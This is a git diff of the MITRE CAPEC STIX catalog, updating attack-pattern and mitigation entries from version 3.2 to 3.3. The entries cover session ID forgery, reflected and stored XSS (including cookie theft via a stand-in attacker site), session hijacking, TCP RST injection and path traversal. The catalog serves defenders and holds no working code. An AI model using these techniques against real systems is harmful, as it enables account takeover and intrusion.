    The attacker models the session ID algorithm enough to produce a compatible session IDs, or just one match.

Exploit

  1. Use matched Session ID: The attacker uses the falsified session ID to access the target system.

    2. Techniques
    The attacker loads the session ID into their web browser and browses to restricted data or functionality.
    The attacker loads the session ID into their network communications and impersonates a legitimate user to gain access to data or functionality.
", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--7ee89c1f-50a5-42e6-abdb-6d8ba0349810" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--331d7a82-5ec2-4222-9a34-3dd042df0332", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-08-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-59-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Use a strong source of randomness to generate a session ID.", - "type": "course-of-action", - "id": "course-of-action--331d7a82-5ec2-4222-9a34-3dd042df0332" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--9653be54-5c63-4cb9-a759-0537fc56da14", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-08-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--9653be54-5c63-4cb9-a759-0537fc56da14", "source_ref": "course-of-action--331d7a82-5ec2-4222-9a34-3dd042df0332", "relationship_type": "mitigates", "target_ref": "attack-pattern--7ee89c1f-50a5-42e6-abdb-6d8ba0349810" }, { + "id": "course-of-action--26815e36-facf-44a4-98fa-472dec102e01", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-08-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-59-1", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Use adequate length session IDs", - "type": "course-of-action", - "id": "course-of-action--26815e36-facf-44a4-98fa-472dec102e01" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--2b5dfcf0-d8fd-4206-b790-076311f94f3b", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-08-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--2b5dfcf0-d8fd-4206-b790-076311f94f3b", "source_ref": "course-of-action--26815e36-facf-44a4-98fa-472dec102e01", "relationship_type": "mitigates", "target_ref": "attack-pattern--7ee89c1f-50a5-42e6-abdb-6d8ba0349810" }, { + "id": "course-of-action--c4b1f9f3-b1f6-4741-8fa9-b3ba8e8189ec", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-08-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-59-2", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Do not use information available to the user in order to generate session ID (e.g., time).", - "type": "course-of-action", - "id": "course-of-action--c4b1f9f3-b1f6-4741-8fa9-b3ba8e8189ec" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--faa68fd6-54d2-4ba3-ad2b-1dd82865bae5", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-08-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--faa68fd6-54d2-4ba3-ad2b-1dd82865bae5", "source_ref": "course-of-action--c4b1f9f3-b1f6-4741-8fa9-b3ba8e8189ec", "relationship_type": "mitigates", "target_ref": "attack-pattern--7ee89c1f-50a5-42e6-abdb-6d8ba0349810" }, { + "id": "course-of-action--6d597339-bf05-4276-b31f-4cda813cd170", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-08-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-59-3", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Ideas for creating random numbers are offered by Eastlake [RFC1750]", - "type": "course-of-action", - "id": "course-of-action--6d597339-bf05-4276-b31f-4cda813cd170" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--2c1ee684-47b3-455a-a377-97959a7a6492", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-08-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--2c1ee684-47b3-455a-a377-97959a7a6492", "source_ref": "course-of-action--6d597339-bf05-4276-b31f-4cda813cd170", "relationship_type": "mitigates", "target_ref": "attack-pattern--7ee89c1f-50a5-42e6-abdb-6d8ba0349810" }, { + "id": "course-of-action--bd948cdf-d470-4ae5-a2fa-3183fe8eb425", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-08-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-59-4", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Encrypt the session ID if you expose it to the user. For instance session ID can be stored in a cookie in encrypted format.", - "type": "course-of-action", - "id": "course-of-action--bd948cdf-d470-4ae5-a2fa-3183fe8eb425" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--dafccdf5-4f55-4b8f-888e-9e37f2ccbbd5", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-08-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--dafccdf5-4f55-4b8f-888e-9e37f2ccbbd5", "source_ref": "course-of-action--bd948cdf-d470-4ae5-a2fa-3183fe8eb425", "relationship_type": "mitigates", "target_ref": "attack-pattern--7ee89c1f-50a5-42e6-abdb-6d8ba0349810" }, { + "id": "attack-pattern--5c216971-78b5-4ac1-9cbe-f46fe1c632d1", "name": "IP Address Blocking", "description": "An adversary performing this type of attack drops packets destined for a target IP address. The aim is to prevent access to the service hosted at the target IP address.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -35386,11 +38631,11 @@ "Consider situations of information censorship for political purposes, where regimes that prevent access to specific web services." ], "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--5c216971-78b5-4ac1-9cbe-f46fe1c632d1" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--5e20e7f2-3b85-4548-9a70-bceee0970a14", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2017-01-12T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", @@ -35399,23 +38644,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Have a large pool of backup IPs built into the application and support proxy capability in the application.", - "type": "course-of-action", - "id": "course-of-action--5e20e7f2-3b85-4548-9a70-bceee0970a14" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--fba19fbc-d42f-448a-8713-882e084e8a75", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2017-01-12T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--fba19fbc-d42f-448a-8713-882e084e8a75", "source_ref": "course-of-action--5e20e7f2-3b85-4548-9a70-bceee0970a14", "relationship_type": "mitigates", "target_ref": "attack-pattern--5c216971-78b5-4ac1-9cbe-f46fe1c632d1" }, { + "id": "attack-pattern--61b17787-fe92-427c-9e6a-6311997d7b2a", "name": "Reflected XSS", "description": "This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is \"reflected\" off a vulnerable web application and then executed by a victim's browser. The process starts with an adversary delivering a malicious script to a victim and convincing the victim to send the script to the vulnerable web application. The most common method of this is through a phishing email where the adversary embeds the malicious script with a URL that the victim then clicks on. In processing the subsequent request, the vulnerable web application incorrectly considers the malicious script as valid input and uses it to creates a reposnse that is then sent back to the victim. To launch a successful Reflected XSS attack, an adversary looks for places where user-input is used directly in the generation of a response. This often involves elements that are not expected to host scripts such as image tags (), or the addition of event attibutes such as onload and onmouseover. These elements are often not subject to the same input validation, output encoding, and other content filtering and checking routines.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -35480,50 +38727,53 @@ "\n Reflected XSS attacks can take advantage of HTTP headers to compromise a victim. For example, assume a vulnerable web application called \u2018mysite\u2019 dynamically generates a link using an HTTP header such as HTTP_REFERER. Code somewhere in the application could look like:\n Test URL\"?>\n The HTTP_REFERER header is populated with the URI that linked to the currently executing page. A web site can be created and hosted by an adversary that takes advantage of this by adding a reference to the vulnerable web application. By tricking a victim into clicking a link that executes the attacker\u2019s web page, such as:\n \"http://attackerswebsite.com?\"\n The vulnerable web application ('mysite') is now called via the attacker's web site, initiated by the victim's web browser. The HTTP_REFERER header will contain a malicious script, which is embedded into the page by the vulnerable application and served to the victim. The victim\u2019s web browser then executes the injected script, thus compromising the victim\u2019s machine.\n " ], "x_capec_status": "Stable", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--61b17787-fe92-427c-9e6a-6311997d7b2a" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "relationship--38865cc3-9b96-4cac-807c-bf7bad91ecd3", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2017-04-15T00:00:00.000Z", "modified": "2019-09-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--38865cc3-9b96-4cac-807c-bf7bad91ecd3", "source_ref": "course-of-action--7dc1cd16-6e36-4b01-bee9-f089fc544d5a", "relationship_type": "mitigates", "target_ref": "attack-pattern--61b17787-fe92-427c-9e6a-6311997d7b2a" }, { + "id": "relationship--1d36c215-a1eb-43b0-891e-fa3bab2cf037", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2017-04-15T00:00:00.000Z", "modified": "2019-09-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--1d36c215-a1eb-43b0-891e-fa3bab2cf037", "source_ref": "course-of-action--e2d6481d-fb04-45e8-9e24-706eeca3f87d", "relationship_type": "mitigates", "target_ref": "attack-pattern--61b17787-fe92-427c-9e6a-6311997d7b2a" }, { + "id": "relationship--34cccb39-8413-4427-800d-cb131ff13a29", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2017-04-15T00:00:00.000Z", "modified": "2019-09-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--34cccb39-8413-4427-800d-cb131ff13a29", "source_ref": "course-of-action--2e2e8032-4e25-4013-b914-eb89f14df01f", "relationship_type": "mitigates", "target_ref": "attack-pattern--61b17787-fe92-427c-9e6a-6311997d7b2a" }, { + "id": "attack-pattern--800f8095-99b6-4bb9-8bc6-8b9727201a2f", "name": "Stored XSS", "description": "This type of attack is a form of Cross-site Scripting (XSS) where a malicious script is persistenly \"stored\" within the data storage of a vulnerable web application. Initially presented by an adversary to the vulnerable web application, the malicious script is incorrectly considered valid input and is not properly encoded by the web application. A victim is then convinced to use the web application in a way that creates a response that includes the malicious script. This response is subsequently sent to the victim and the malicious script is executed by the victim's browser. To launch a successful Stored XSS attack, an adversary looks for places where stored input data is used in the generation of a response. This often involves elements that are not expected to host scripts such as image tags (), or the addition of event attibutes such as onload and onmouseover. These elements are often not subject to the same input validation, output encoding, and other content filtering and checking routines.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -35531,7 +38781,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2017-04-15T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -35580,73 +38830,77 @@ "x_capec_abstraction": "Detailed", "x_capec_example_instances": [ "An adversary determines that a system uses a web based interface for administration. The adversary creates a new user record and supplies a malicious script in the user name field. The user name field is not validated by the system and a new log entry is created detailing the creation of the new user. Later, an administrator reviews the log in the administrative console. When the administrator comes across the new user entry, the browser sees a script and executes it, stealing the administrator's authentication cookie and forwarding it to the adversary. An adversary then uses the received authentication cookie to log in to the system as an administrator, provided that the administrator console can be accessed remotely.", - "An online discussion forum allows its members to post HTML-enabled messages, which can also include image tags. An adversary embeds JavaScript in the image tags of his message. The adversary then sends the victim an email advertising free goods and provides a link to the form for how to collect. When the victim visits the forum and reads the message, the malicious script is executed within the victim's browser." + "An online discussion forum allows its members to post HTML-enabled messages, which can also include image tags. An adversary embeds JavaScript in the image tags of their message. The adversary then sends the victim an email advertising free goods and provides a link to the form for how to collect. When the victim visits the forum and reads the message, the malicious script is executed within the victim's browser." ], "x_capec_status": "Stable", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--800f8095-99b6-4bb9-8bc6-8b9727201a2f" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "relationship--28c01d45-e477-41b8-b923-e1a759ec7c34", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2017-04-15T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--28c01d45-e477-41b8-b923-e1a759ec7c34", "source_ref": "course-of-action--7dc1cd16-6e36-4b01-bee9-f089fc544d5a", "relationship_type": "mitigates", "target_ref": "attack-pattern--800f8095-99b6-4bb9-8bc6-8b9727201a2f" }, { + "id": "relationship--e027d6bd-c85f-4585-8bae-468b1e9f5507", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2017-04-15T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--e027d6bd-c85f-4585-8bae-468b1e9f5507", "source_ref": "course-of-action--e2d6481d-fb04-45e8-9e24-706eeca3f87d", "relationship_type": "mitigates", "target_ref": "attack-pattern--800f8095-99b6-4bb9-8bc6-8b9727201a2f" }, { + "id": "course-of-action--00d95d33-0be2-4026-b367-d0b3ca061978", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2017-04-15T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-592-2", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Ensure that all user-supplied input is validated before being stored.", - "type": "course-of-action", - "id": "course-of-action--00d95d33-0be2-4026-b367-d0b3ca061978" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--fc721152-28b2-4c41-8360-1075efd36665", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2017-04-15T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--fc721152-28b2-4c41-8360-1075efd36665", "source_ref": "course-of-action--00d95d33-0be2-4026-b367-d0b3ca061978", "relationship_type": "mitigates", "target_ref": "attack-pattern--800f8095-99b6-4bb9-8bc6-8b9727201a2f" }, { + "id": "attack-pattern--63f43efb-7a34-4302-b3dc-8245100fdea9", "name": "Session Hijacking", - "description": "This type of attack involves an adversary that exploits weaknesses in an application's use of sessions in performing authentication. The advarsary is able to steal or manipulate an active session and use it to gain unathorized access to the application.", + "description": "This type of attack involves an adversary that exploits weaknesses in an application's use of sessions in performing authentication. The adversary is able to steal or manipulate an active session and use it to gain unathorized access to the application.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2017-04-15T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -35657,6 +38911,12 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/287.html", "external_id": "CWE-287" + }, + { + "source_name": "ATTACK", + "description": "Use Alternate Authentication Material:Application Access Token", + "url": "https://attack.mitre.org/wiki/Technique/T1550/001", + "external_id": "T1550.001" } ], "x_capec_likelihood_of_attack": "High", @@ -35683,36 +38943,38 @@ }, "x_capec_abstraction": "Standard", "x_capec_status": "Stable", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--63f43efb-7a34-4302-b3dc-8245100fdea9" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--c731b443-09c9-4d03-bdc2-a9053ce6ea90", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2017-04-15T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-593-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Properly encrypt and sign identity tokens in transit, and use industry standard session key generation mechanisms that utilize high amount of entropy to generate the session key. Many standard web and application servers will perform this task on your behalf. Utilize a session timeout for all sessions. If the user does not explicitly logout, terminate their session after this period of inactivity. If the user logs back in then a new session key should be generated.", - "type": "course-of-action", - "id": "course-of-action--c731b443-09c9-4d03-bdc2-a9053ce6ea90" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--b99d4053-f452-4a85-b020-ad0868cb52cf", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2017-04-15T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--b99d4053-f452-4a85-b020-ad0868cb52cf", "source_ref": "course-of-action--c731b443-09c9-4d03-bdc2-a9053ce6ea90", "relationship_type": "mitigates", "target_ref": "attack-pattern--63f43efb-7a34-4302-b3dc-8245100fdea9" }, { + "id": "attack-pattern--6a7fbe0a-080e-4f8b-854d-1d959dbeab8e", "name": "Traffic Injection", "description": "An adversary injects traffic into the target's network connection. The adversary is therefore able to degrade or disrupt the connection, and potentially modify the content. This is not a flooding attack, as the adversary is not focusing on exhausting resources. Instead, the adversary is crafting a specific input to affect the system in a particular way.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -35750,11 +39012,11 @@ }, "x_capec_abstraction": "Meta", "x_capec_status": "Stable", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--6a7fbe0a-080e-4f8b-854d-1d959dbeab8e" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--e6f6d082-2186-4008-b52f-91f67abdba90", "name": "Connection Reset", "description": "In this attack pattern, an adversary injects a connection reset packet to one or both ends of a target's connection. The attacker is therefore able to have the target and/or the destination server sever the connection without having to directly filter the traffic between them.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -35780,11 +39042,11 @@ ], "x_capec_abstraction": "Standard", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--e6f6d082-2186-4008-b52f-91f67abdba90" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--dfd75d4a-689b-4cbd-9013-4ed32713dc64", "name": "TCP RST Injection", "description": "An adversary injects one or more TCP RST packets to a target after the target has made a HTTP GET request. The goal of this attack is to have the target and/or destination web server terminate the TCP connection.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -35815,11 +39077,11 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--dfd75d4a-689b-4cbd-9013-4ed32713dc64" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--1a84fe86-379b-497e-ae66-290e797409f4", "name": "Absolute Path Traversal", "description": "An adversary with access to file system resources, either directly or via application logic, will use various file absolute paths and navigation mechanisms such as \"..\" to extend their range of access to inappropriate areas of the file system. The goal of the adversary is to access directories and files that are intended to be restricted from their access.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -35827,7 +39089,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2017-01-06T00:00:00.000Z", - "modified": "2017-01-06T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -35866,149 +39128,159 @@ }, "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--1a84fe86-379b-497e-ae66-290e797409f4" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "relationship--cd5a0b68-7c46-4210-afeb-a383890ba931", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2017-01-06T00:00:00.000Z", - "modified": "2017-01-06T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--cd5a0b68-7c46-4210-afeb-a383890ba931", "source_ref": "course-of-action--49faa4e3-77fa-4b56-8186-be9d4302e09a", "relationship_type": "mitigates", "target_ref": "attack-pattern--1a84fe86-379b-497e-ae66-290e797409f4" }, { + "id": "relationship--3a5fb6c7-5605-48a4-b2ca-bcfff3e93226", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2017-01-06T00:00:00.000Z", - "modified": "2017-01-06T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--3a5fb6c7-5605-48a4-b2ca-bcfff3e93226", "source_ref": "course-of-action--10e0bdfb-cc84-4788-8d10-225b6e61f135", "relationship_type": "mitigates", "target_ref": "attack-pattern--1a84fe86-379b-497e-ae66-290e797409f4" }, { + "id": "relationship--01a4f9a4-8d52-4cd3-a2e0-11eee4192954", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2017-01-06T00:00:00.000Z", - "modified": "2017-01-06T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--01a4f9a4-8d52-4cd3-a2e0-11eee4192954", "source_ref": "course-of-action--59bcc683-a1e5-4b88-9821-ddb734003114", "relationship_type": "mitigates", "target_ref": "attack-pattern--1a84fe86-379b-497e-ae66-290e797409f4" }, { + "id": "relationship--083f46f3-7384-4987-a5d7-3b3b3c58e717", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2017-01-06T00:00:00.000Z", - "modified": "2017-01-06T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--083f46f3-7384-4987-a5d7-3b3b3c58e717", "source_ref": "course-of-action--6a928417-72f9-4429-951c-8dcaca5edc6d", "relationship_type": "mitigates", "target_ref": "attack-pattern--1a84fe86-379b-497e-ae66-290e797409f4" }, { + "id": "relationship--ea68faae-9ff5-4a52-a520-135a612e4458", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2017-01-06T00:00:00.000Z", - "modified": "2017-01-06T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--ea68faae-9ff5-4a52-a520-135a612e4458", "source_ref": "course-of-action--da440d05-dc0e-4bfa-8490-7178ae419336", "relationship_type": "mitigates", "target_ref": "attack-pattern--1a84fe86-379b-497e-ae66-290e797409f4" }, { + "id": "relationship--70fb8b30-3f7c-41ef-a691-34c163c6e04b", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2017-01-06T00:00:00.000Z", - "modified": "2017-01-06T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--70fb8b30-3f7c-41ef-a691-34c163c6e04b", "source_ref": "course-of-action--16c78c78-dace-4fe3-ac4a-aaf188d14af5", "relationship_type": "mitigates", "target_ref": "attack-pattern--1a84fe86-379b-497e-ae66-290e797409f4" }, { + "id": "relationship--aa408ca1-01a2-404d-a24a-90d14b0fcdbe", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2017-01-06T00:00:00.000Z", - "modified": "2017-01-06T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--aa408ca1-01a2-404d-a24a-90d14b0fcdbe", "source_ref": "course-of-action--3c433a52-7784-4abd-b404-41fc8a423886", "relationship_type": "mitigates", "target_ref": "attack-pattern--1a84fe86-379b-497e-ae66-290e797409f4" }, { + "id": "relationship--ce2dd07c-e915-4e7b-90b5-8af1442e1aae", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2017-01-06T00:00:00.000Z", - "modified": "2017-01-06T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--ce2dd07c-e915-4e7b-90b5-8af1442e1aae", "source_ref": "course-of-action--b3379e8f-995d-4df7-be15-7861c104b55c", "relationship_type": "mitigates", "target_ref": "attack-pattern--1a84fe86-379b-497e-ae66-290e797409f4" }, { + "id": "relationship--ff83398b-e67f-4c7c-be17-3abbb20aa2d9", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2017-01-06T00:00:00.000Z", - "modified": "2017-01-06T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--ff83398b-e67f-4c7c-be17-3abbb20aa2d9", "source_ref": "course-of-action--8fb32cf0-80fd-4e8b-91c6-0908041d5b6e", "relationship_type": "mitigates", "target_ref": "attack-pattern--1a84fe86-379b-497e-ae66-290e797409f4" }, { + "id": "relationship--8d22787d-6e79-4bd5-8fb5-a6b95e74fc40", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2017-01-06T00:00:00.000Z", - "modified": "2017-01-06T00:00:00.000Z", + "modified": 